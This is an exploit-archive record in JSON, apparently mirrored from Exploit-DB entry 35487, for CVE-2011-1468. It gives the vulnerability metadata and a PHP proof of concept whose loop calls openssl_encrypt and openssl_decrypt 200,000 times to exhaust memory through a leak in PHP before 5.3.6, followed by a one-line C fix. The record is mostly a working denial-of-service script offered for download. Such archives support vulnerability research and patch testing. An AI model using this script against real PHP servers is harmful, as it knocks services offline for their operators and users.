{"exploit":{"id":"EDB-35487","name":"PHP < 5.3.6 'OpenSSL' Extension - 'openssl_decrypt' Ciphertext Data Memory Leak Denial of Service (DoS)","description":"PHP < 5.3.6 'OpenSSL' Extension - 'openssl_decrypt' Ciphertext Data Memory Leak Denial of Service (DoS)","cves":["CVE-2011-1468"],"author":"dovbysh","published":"2011-03-08","platform":"php","type":"dos","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/35487","path":"exploits/php/dos/35487.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-35487.php","vulnerabilities":[{"id":"CVE-2011-1468","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple memory leaks in the OpenSSL extension in PHP before 5.3.6 might allow remote attackers to cause a denial of service (memory consumption) via (1) plaintext data to the openssl_encrypt function or (2) ciphertext data to the openssl_decrypt function.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-1468","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-1468"},"updatedAt":"2024-08-06T22:28:41.435Z","retrievedAt":"2026-11-26T23:27:04.421Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-35487.png?v=2","url":"https://exploitbin.com/exploits/EDB-35487","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-35487/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-35487/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n/*\nsource: https://web.archive.org/web/2011/https://www.securityfocus.com/bid/46977/info\n\nPHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension.\n\nSuccessful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.\n\nVersions prior to PHP 5.3.6 are vulnerable.\n*/\n\n$data = \"jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy 972439 8478942 yrhfjkdhls\";\n$pass = \"r23498rui324hjbnkj\";\n\n$maxi = 200000;\n$t = microtime(1);\nfor ($i=0;$i<$maxi; $i++){\n\t$cr = openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');\n\t$dcr = openssl_decrypt($cr, 'des3', $pass, false, '1qazxsw2');\n\tif ($dcr != $data.$i){\n\t\tprint \"at step $i decryption failed\\n\";\n\t}\n}\n$t = microtime(1)-$t;\nprint \"mode: openssl_encrypt ($maxi) tests takes \".$t.\"secs \".($maxi/$t).\"#/sec \\n\";\n?>\n\nfixes by add this code at line 4818 at the end of openssl_decrypt:\n\tEVP_CIPHER_CTX_cleanup(&cipher_ctx);\n\n\n?>","sha256":"4139a64bdaf68d15451bdb4f1afd2fc63caa6fa25fceb516dd52c66a48dc2187","bytes":1052,"fetchedAt":"2026-11-27T05:06:41.795Z","encoding":"utf-8 (display only; download retains original bytes)"}